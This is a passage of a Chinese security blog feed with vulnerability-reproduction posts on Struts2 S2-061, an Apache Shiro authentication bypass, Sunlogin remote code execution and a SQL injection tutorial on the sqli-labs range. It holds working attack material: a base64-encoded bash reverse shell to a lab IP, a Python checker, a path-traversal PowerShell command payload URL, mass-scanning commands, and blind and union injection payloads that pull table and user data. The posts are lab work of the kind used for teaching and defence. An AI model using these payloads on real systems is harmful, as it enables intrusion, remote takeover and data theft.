{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjEzMC8zMzMzIDA+JjE=}|{base64,-d}|{bash,-i}</code></p><p><img src="https://s2.loli.net/2023/03/29/VSOARQWsI8EBxTY.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/VSOARQWsI8EBxTY.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221210163917170"></p><p><img src="https://s2.loli.net/2023/03/29/gdhMeHEqvSIk4U9.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/gdhMeHEqvSIk4U9.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221210164523698"></p><p>成功反弹出shell</p><p>检查POC</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">url</span>():</span><br><span class="line">parser = argparse.ArgumentParser(description=<span class="string">'S2-061 CVE-2020-17530'</span>)</span><br><span class="line">parser.add_argument(<span class="string">'target_url'</span>,<span class="built_in">type</span>=<span class="built_in">str</span>,<span class="built_in">help</span>=<span class="string">'The target address,example: http://192.168.52.128:8080'</span>)</span><br><span class="line">args = parser.parse_args()</span><br><span class="line"><span class="keyword">global</span> url</span><br><span class="line">url = args.target_url</span><br><span class="line"><span class="keyword">if</span> url.startswith(<span class="string">'http://'</span>) <span class="keyword">or</span> url.startswith(<span class="string">'https://'</span>):</span><br><span class="line"><span class="keyword">pass</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="built_in">print</span>(<span class="string">'请使用http://或者https://'</span>)</span><br><span class="line">os._exit(<span class="number">0</span>)</span><br><span class="line"><span class="keyword">if</span> url.endswith(<span class="string">'/'</span>):</span><br><span class="line">url = url[:-<span class="number">1</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="string">"开始测试"</span>)</span><br><span class="line"><span class="keyword">return</span> url</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">poc</span>():</span><br><span class="line">headers={</span><br><span class="line"><span class="string">'User-Agent'</span>:<span class="string">'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100102 Firefox/107.0'</span></span><br><span class="line"></span><br><span class="line">}</span><br><span class="line">vul_url = url + <span class="string">'/?id=%25{7*7}'</span></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">text = requests.get(vul_url,headers=headers,timeout=<span class="number">10</span>).text</span><br><span class="line"><span class="keyword">if</span> <span class="string">'49'</span> <span class="keyword">in</span> text:</span><br><span class="line"><span class="built_in">print</span>(<span class="string">'[漏洞存在]'</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="built_in">print</span>(<span class="string">'[漏洞不存在]'</span>)</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line"><span class="built_in">print</span>(<span class="string">'[发生错误]'</span>)</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">url()</span><br><span class="line">poc()</span><br></pre></td></tr></table></figure><p><img src="https://s2.loli.net/2023/03/29/Fxmt4Bah5ipH6Xw.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/Fxmt4Bah5ipH6Xw.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221210170934924"></p><h2 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h2><p>升级到 Struts 2.5.26 版本或更高版本</p>]]></content>
<categories>
<category> 漏洞复现 </category>
</categories>
<tags>
<tag> Struts2 </tag>
</tags>
</entry>
<entry>
<title>Shiro 身份认证绕过漏洞 CVE-2022-32532</title>
<link href="/2023/03/29/Shiro-%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E-CVE-2022-32532/"/>
<url>/2023/03/29/Shiro-%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E-CVE-2022-32532/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Apache Shiro 是一个强大且易用的 Java 安全框架,通过它可以执行身份验证、授权、密码和会话管理。使用 Shiro 的易用 API,您可以快速、轻松地保护任何应用程序 —— 从最小的移动应用程序到最大的 WEB 和企业应用程序。</span><br><span class="line"></span><br><span class="line">2022年6月29日,Apache官方披露Apache Shiro权限绕过漏洞(CVE-2022-32532),当Apache Shiro中使用RegexRequestMatcher进行权限配置,且正则表达式中携带"."时,未经授权的远程攻击者可通过构造恶意数据包绕过身份认证,导致配置的权限验证失效。</span><br></pre></td></tr></table></figure><h3 id="影响版本"><a href="#影响版本" class="headerlink" title="影响版本"></a>影响版本</h3><p><code>Apache Shiro < 1.9.1</code></p><h3 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原理</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">根据java正则表达式的特点,在正则表达式中元字符.是匹配除换行符之外的任何单个字符。</span><br><span class="line">新增Pattern.DOTALL模式后,正则表达式.就可以匹配任何字符包括换行符。</span><br><span class="line">在shiro-core-1.9.0.jar中存在一个RegExPatternMatcher类,提供请求路径匹配功能及拦截器参数解析的功能。这个类的Pattern存在带.的正则表达式匹配,如果存在/n或/r字符时,就会判断错误。</span><br></pre></td></tr></table></figure><h2 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h2><p>直接使用vulfocus的镜像环境</p><p><img src="https://s2.loli.net/2023/03/29/gioCqn16KmD4H3y.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/gioCqn16KmD4H3y.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230222160039366"></p><p>启动靶场后直接访问给的地址就行</p><p><img src="https://s2.loli.net/2023/03/29/jbewJR7il4oQKHL.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/jbewJR7il4oQKHL.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230222160444747"></p><p><img src="https://s2.loli.net/2023/03/29/azknmPjTiDSbw9s.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/azknmPjTiDSbw9s.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230222160450931"></p><h2 id="复现过程"><a href="#复现过程" class="headerlink" title="复现过程"></a>复现过程</h2><p>测试直接访问敏感地址访问被拒绝</p><p><img src="https://s2.loli.net/2023/03/29/CDAQPXOvMZkSsyb.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/CDAQPXOvMZkSsyb.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230222160528823"></p><p>我们抓一下get包,放在Repeater模块</p><h3 id="使用-0a进行权限绕过"><a href="#使用-0a进行权限绕过" class="headerlink" title="使用%0a进行权限绕过"></a>使用%0a进行权限绕过</h3><p>%0a是换行符</p><p><img src="https://s2.loli.net/2023/03/29/R5KJMGPhtxAIaCQ.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/R5KJMGPhtxAIaCQ.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230222161704254"></p><p>访问成功返回success</p><h2 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h2><p>建议尽快升级至Apache Shiro 1.9.1及以上版本</p>]]></content>
<categories>
<category> 漏洞复现 </category>
</categories>
<tags>
<tag> Shiro </tag>
</tags>
</entry>
<entry>
<title>CNVD-2022-10270/03672 向日葵RCE复现</title>
<link href="/2023/03/29/CNVD-2022-10270-03672-%E5%90%91%E6%97%A5%E8%91%B5RCE%E5%A4%8D%E7%8E%B0/"/>
<url>/2023/03/29/CNVD-2022-10270-03672-%E5%90%91%E6%97%A5%E8%91%B5RCE%E5%A4%8D%E7%8E%B0/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>向日葵是一款免费的集远程控制电脑手机、远程桌面连接、远程开机、远程管理、支持内网穿透的一体化远程控制管理工具软件。</p><p>于2022年2月5日和2022年2月15日,CNVD公开上海贝锐信息科技股份有限公司的向日葵远控软件存在远程代码执行漏洞(CNVD-2022-10270/CNVD-2022-03672),影响Windows系统使用的个人版和简约版,攻击者可利用该漏洞获取服务器控制权。</p><h3 id="影响版本"><a href="#影响版本" class="headerlink" title="影响版本"></a>影响版本</h3><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">向日葵个人版 <span class="keyword">for</span> <span class="title class_">Windows</span> <= <span class="number">11.0</span>.<span class="number">0.33</span></span><br><span class="line">向日葵简约版 <= V1.<span class="number">0.1</span>.<span class="number">43315</span>(<span class="number">2021.12</span>)</span><br></pre></td></tr></table></figure><h3 id="漏洞级别"><a href="#漏洞级别" class="headerlink" title="漏洞级别"></a>漏洞级别</h3><p><strong>高危</strong></p><h2 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h2><p>在虚拟机里安装11.0.0.33的低版本向日葵</p><p><img src="https://s2.loli.net/2023/03/29/nYfVZ2ULrPuE85I.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/nYfVZ2ULrPuE85I.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230219135253229"></p><h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h2><p>使用nmap或其他工具探测目标端口</p><p><img src="https://s2.loli.net/2023/03/29/d8BOl9vWjsfwGrm.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/d8BOl9vWjsfwGrm.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230219135507131"></p><p>在浏览器中访问ip+端口号+cgi-bin/rpc?action=verify-haras (端口号:每一个都尝试,直到获取到session值CID)</p><p><img src="https://s2.loli.net/2023/03/29/jg3EFkQN9ciVDOM.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/jg3EFkQN9ciVDOM.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230219151000880"></p><p>Cookies添加拿到的CID后加上payload请求</p><p><code>http://192.168.52.133:49437/check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+ whoami</code></p><p><img src="https://s2.loli.net/2023/03/29/IMBCb6R7mZqFlTU.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/IMBCb6R7mZqFlTU.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230219151000880"></p><p><img src="https://s2.loli.net/2023/03/29/FluGp8dAs2xzeBO.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/FluGp8dAs2xzeBO.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230219151134780"></p><p>手动复现完成</p><h3 id="工具使用"><a href="#工具使用" class="headerlink" title="工具使用"></a>工具使用</h3><p>使用工具自带的扫描</p><p><code>xrkRce.exe</code> -h ip -t scan</p><p><img src="https://s2.loli.net/2023/03/29/8k4Dbr9FI3CTadt.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/8k4Dbr9FI3CTadt.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230219152233952"></p><p>测试命令执行</p><p><img src="https://s2.loli.net/2023/03/29/KUBEF3bq6nfHNW9.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/KUBEF3bq6nfHNW9.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230219153035239"></p><h3 id="批量检测"><a href="#批量检测" class="headerlink" title="批量检测"></a>批量检测</h3><p><code>python3 sunlogin-fuzz.py -t 192.168.52.128/25</code></p><p><img src="https://s2.loli.net/2023/03/29/EtHfgymwTx5ZVI4.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/EtHfgymwTx5ZVI4.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230219162629384"></p>]]></content>
<categories>
<category> 漏洞复现 </category>
</categories>
<tags>
<tag> 向日葵 </tag>
</tags>
</entry>
<entry>
<title>常见sql注入手法总结与技巧(一)</title>
<link href="/2023/03/24/%E5%B8%B8%E8%A7%81sql%E6%B3%A8%E5%85%A5%E6%89%8B%E6%B3%95%E6%80%BB%E7%BB%93%E4%B8%8E%E6%8A%80%E5%B7%A7-%E4%B8%80/"/>
<url>/2023/03/24/%E5%B8%B8%E8%A7%81sql%E6%B3%A8%E5%85%A5%E6%89%8B%E6%B3%95%E6%80%BB%E7%BB%93%E4%B8%8E%E6%8A%80%E5%B7%A7-%E4%B8%80/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>SQL 是 Structured Query Language 的缩写,中文译为“结构化查询语言”。SQL 是一种计算机语言,用来存储、检索和修改关系型数据库中存储的数据。</p><p>sql注入是最为常见也是破坏力很大的漏洞,它是因为开发在开发时没有对用户的输入行为进行判断和过滤,使得用户输入了恶意语句后传给了后端数据库进行相应的动作(如增删改查甚至写后门)。</p><p><strong>根本产生原因:</strong>后端服务器接收传来的参数未经过严格过滤判断而直接进入数据库查询</p><p>所以在学习SQL注入前需要了解SQL基础语法</p><h2 id="SQL注入根源分析"><a href="#SQL注入根源分析" class="headerlink" title="SQL注入根源分析"></a>SQL注入根源分析</h2><p>如果后台sql语句为:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$<span class="keyword">sql</span><span class="operator">=</span>"SELECT * FROM users WHERE id=' $id ' LIMIT 0,1";</span><br></pre></td></tr></table></figure><p>如果我们传入id=1’ 那么如果后端没有经过过滤而是直接把我们传入的参数带进sql语句中,那么sql语句就会变成:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$<span class="keyword">sql</span><span class="operator">=</span>"SELECT * FROM users WHERE id='1'' LIMIT 0,1";</span><br></pre></td></tr></table></figure><p>我们传入的 ‘ 就会一块带入和前面的单引号进行闭合,导致原来后面的单引号就多余,而sql语句引号是必须成对出现的就会报错什么都查不出来,但如果我们在1’后面加入恶意语句并且把后面的原来的语句进行注解,就会造成sql语句会执行我们传入的恶意语句,实现注入。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">id <span class="operator">=</span> <span class="number">-1</span><span class="string">' union select database() #</span></span><br><span class="line"><span class="string">$sql="SELECT * FROM users WHERE id='</span><span class="number">-1</span><span class="string">' union select database() #'</span> LIMIT <span class="number">0</span>,<span class="number">1</span>";</span><br></pre></td></tr></table></figure><p>-1表示查询一个不存在的id,是为了不影响后面我们的注入语句</p><p>#,–+,– 表示注释,把后面所有语句注释掉,这样就不会影响我们的注入语句</p><h2 id="sql参数类型分类"><a href="#sql参数类型分类" class="headerlink" title="sql参数类型分类"></a>sql参数类型分类</h2><p>SQL注入按照参数类型分类可分为两种:数字型和字符型</p><ol><li>数字型:select * from table where id=2</li><li>字符型:select * from table where id=’2’</li></ol><p>区别在于数字型不需要单引号进行闭合,而字符型一般需要通过单引号闭合。</p><p>判断类型方法:</p><p>构造payload为:<code>id=1 order by 9999 --+</code></p><p>如果正确返回页面,则为字符型;否则,为数字型</p><p>构造payload为:<code>1 and 1=2</code></p><p>如果正确返回页面,则为字符型;否则,为数字型</p><h2 id="常见sql注入手法"><a href="#常见sql注入手法" class="headerlink" title="常见sql注入手法"></a>常见sql注入手法</h2><p>这里先给出常用的payload,后面会使用到</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> database()</span><br><span class="line"></span><br><span class="line"><span class="keyword">select</span> group_concat(table_name)<span class="keyword">from</span> information_schema.tables <span class="keyword">where</span> table_schema<span class="operator">=</span>database()</span><br><span class="line"></span><br><span class="line"><span class="keyword">select</span> group_concat(column_name)<span class="keyword">from</span> information_schema.columns <span class="keyword">where</span> table_name<span class="operator">=</span><span class="string">'xxxx'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">select</span> group_concat(字段名) <span class="keyword">from</span> 表名</span><br></pre></td></tr></table></figure><h3 id="常见注入手法分类"><a href="#常见注入手法分类" class="headerlink" title="常见注入手法分类"></a>常见注入手法分类</h3><p>布尔盲注</p><p>时间盲注</p><p>union联合注入</p><p>报错注入</p><p>堆叠注入</p><p>二次注入</p><p>宽字节注入</p><p>通过sql注入写webshell</p><p>通过http header注入</p><p>…</p><h3 id="盲注"><a href="#盲注" class="headerlink" title="盲注"></a>盲注</h3><p>通常根据SQL注入是否有回显将其分为有回显的注入和无回显的注入,其中无回显的注入就是盲注。</p><p>我们的注入语句可能会让网页呈现两种状态,例如“查询成功”,“查询失败”,相当于true和false。也可能是一句“查询完成”或者什么都不说。虽然并不能直接得到数据库中的具体数据,但是SQL语句的拼接已经发生了,非法的SQL也执行了,SQL注入攻击就发生了,只是SQL注入的结果不能直接拿到。</p><p>盲注就是针对这种无回显的情况,盲注就像是爆破,在进行SQL盲注时,大致过程为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">如果"数据库XX"的第一个字母是a,就返回“查询成功”,否则返回“查询失败”</span><br><span class="line">如果"数据库XX"的第一个字母是b,就返回“查询成功”,否则返回“查询失败”</span><br><span class="line">如果"数据库XX"的第一个字母是c,就返回“查询成功”,否则返回“查询失败”</span><br><span class="line">...</span><br><span class="line">如果"数据库XX"的第二个字母是a,就返回“查询成功”,否则返回“查询失败”</span><br><span class="line">如果"数据库XX"的第二个字母是b,就返回“查询成功”,否则返回“查询失败”</span><br><span class="line">如果"数据库XX"的第二个字母是c,就返回“查询成功”,否则返回“查询失败”</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>通过这样不断的测试爆破,根据回显的“查询成功”和“查询失败”,判断出具体数据的每一位是什么,就可以完整的得到这个数据的具体值了。</p><h4 id="布尔盲注"><a href="#布尔盲注" class="headerlink" title="布尔盲注"></a>布尔盲注</h4><p>下面使用sqli-labs靶场演示,less-8关</p><p>查询成功返回You are in….</p><p><img src="https://s3.bmp.ovh/imgs/2023/03/24/3a4c28e9dd204283.png" class="lazyload" data-srcset="https://s3.bmp.ovh/imgs/2023/03/24/3a4c28e9dd204283.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></p><p>而查询失败则什么都不显示</p><p><img src="https://s3.bmp.ovh/imgs/2023/03/24/8ad3a277135c7acd.png" class="lazyload" data-srcset="https://s3.bmp.ovh/imgs/2023/03/24/8ad3a277135c7acd.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></p><p>返回You are in….相当于是“查询成功”,而什么都没显示则相当于是“查询失败”。所以我们构造的判断语句,可以根据页面是否有You are in….来充当判断条件。</p><p><strong>要使用的sql函数:</strong></p><p>substr(要截取的字符串,从哪一位开始截取,截取多长)</p><p>ascii()返回传入字符串的首字母的ASCII码</p><p><strong>获取当前数据库名</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">1.判断当前数据库名的长度</span><br><span class="line">id=1' and length(database())=8 --+ //有回显</span><br><span class="line">判断到等于8时出现You are in....说明语句执行正确,当前数据库长度为8个字符</span><br><span class="line"></span><br><span class="line">2.判断当前数据库名</span><br><span class="line">//判断数据库的第一个字符</span><br><span class="line">id=1' and ascii(substr(database(),1,1))=115 --+</span><br><span class="line">//判断数据库的第二个字符</span><br><span class="line">id=1' and ascii(substr(database(),2,1))=101 --+</span><br><span class="line">//判断数据库的第三个字符</span><br><span class="line">id=1' and ascii(substr(database(),3,1))=99 --+</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">数据库为 security</span><br></pre></td></tr></table></figure><p><strong>获取当前库的表名</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">判断每个表名的每个字符的ascii值</span><br><span class="line">//判断第一个表的第一个字符</span><br><span class="line">id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+</span><br><span class="line"></span><br><span class="line">//判断第一个表的第二个字符</span><br><span class="line">id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 --+</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">判断出存在表 emails、referers、uagents、users </span><br></pre></td></tr></table></figure><p><strong>获取表的字段</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">猜测users表比较重要,先查询users表</span><br><span class="line">//判断第一个字段的第一个字符</span><br><span class="line">id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117 --+</span><br><span class="line"></span><br><span class="line">//判断第一个字段的第二个字符</span><br><span class="line">id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))=115 --+</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">users表中存在 id、username、password 字段</span><br></pre></td></tr></table></figure><p><strong>获取字段中的数据</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">//判断id字段的第一行数据的第一个字符</span><br><span class="line">id=1' and ascii(substr((select id from users limit 0,1),1,1))=100 --+</span><br><span class="line">//判断id字段的第二行数据的第二个字符</span><br><span class="line">id=1' and ascii(substr((select id from users limit 0,1),2,1))=100 --+</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>手工去盲注太过繁琐,不建议手工注入,可借助工具或者写脚本跑</p><h4 id="时间盲注"><a href="#时间盲注" class="headerlink" title="时间盲注"></a>时间盲注</h4><p>时间盲注也叫<strong>延迟注入</strong>。在页面没有回显数据,也没有可以充当判断条件的地方,也没有报错信息,就可以考虑尝试时间盲注。时间盲注就是将页面的反响时间作为判断依据,来注入出数据库的信息。</p><p>以Less-9为例,当我们以id=1’ and sleep(5) –+ 进行注入,可以明显的感觉到页面返回响应的时间变长了,大概拉长了5秒左右,这说明构造的sleep(5)语句起作用了。我们可以把这个当作判断依据,配合if语句使用。</p><p>if(a,b,c) 如果a的值为true,则返回b的值,如果a的值为false,则返回c的值。</p><p><strong>获取数据库名</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">//查询数据库名第一个字符</span><br><span class="line">id=1' and if(ascii(substr(database(),1,1))= 115,sleep(5),0) --+</span><br><span class="line">明显感受到页面延迟了几秒,说明数据库名字第一个字符是s。</span><br><span class="line">//查询数据库名第二个字符</span><br><span class="line">id=1' and if(ascii(substr(database(),2,1))= 101,sleep(5),0) --+</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>与盲注类似,后面就是爆破字符,再爆表名,字段名,具体数据。</p><p>不建议手注,建议编写脚本或使用工具</p><h3 id="union联合注入"><a href="#union联合注入" class="headerlink" title="union联合注入"></a>union联合注入</h3><p><strong>第一步</strong>,测试注入点,一些小技巧:利用引号,and 1=1 ,or 1=1 等判断是字符型还是数字型</p><p><img src="https://s3.bmp.ovh/imgs/2023/03/24/c29b373007f5c9ec.png" class="lazyload" data-srcset="https://s3.bmp.ovh/imgs/2023/03/24/c29b373007f5c9ec.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></p><p>正常返回判断是字符型</p><p><strong>第二步</strong>,利用order by 查表得到到字段个数</p><p><img src="https://s3.bmp.ovh/imgs/2023/03/24/4476b9da124a50d6.png" class="lazyload" data-srcset="https://s3.bmp.ovh/imgs/2023/03/24/4476b9da124a50d6.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></p><p><img src="https://s3.bmp.ovh/imgs/2023/03/24/75b3fcab817513f8.png" class="lazyload" data-srcset="https://s3.bmp.ovh/imgs/2023/03/24/75b3fcab817513f8.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></p><p>查到3时正常返回但到4时报错说明当前表中只有三列</p><p><strong>第三步</strong>,利用union select 1,2,3..判断回显位,如果有回显,找到回显位,回显位也就是回显页面有我们设置的1,2,3的位置</p><p><img src="https://s3.bmp.ovh/imgs/2023/03/24/63630a55027325b4.png" class="lazyload" data-srcset="https://s3.bmp.ovh/imgs/2023/03/24/63630a55027325b4.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></p><p>发现者里有2和3的回显位,在name和Password回显</p><p><strong>第四步</strong>,爆库,爆表,爆字段名,爆值</p><p>为什么用-1 :因为-1大概率会返回空表,union select联合查询会返回一张表,就只会显示后面联合查询表</p><p>组合使用上面提到的常用的payload,放在页面回显位上</p><p><code>-1' union select 1,(select database()),3 --+</code></p><p><img src="https://s3.bmp.ovh/imgs/2023/03/24/7061e7b7819e2b40.png" class="lazyload" data-srcset="https://s3.bmp.ovh/imgs/2023/03/24/7061e7b7819e2b40.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></p><p><code>-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3 --+</code></p><p><img src="https://s3.bmp.ovh/imgs/2023/03/24/0cebe315f9203cec.png" class="lazyload" data-srcset="https://s3.bmp.ovh/imgs/2023/03/24/0cebe315f9203cec.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></p><p>爆出4个表,选择爆users表</p><p><code>-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3 --+</code></p><p><img src="https://s3.bmp.ovh/imgs/2023/03/24/e0e70749fe594d15.png" class="lazyload" 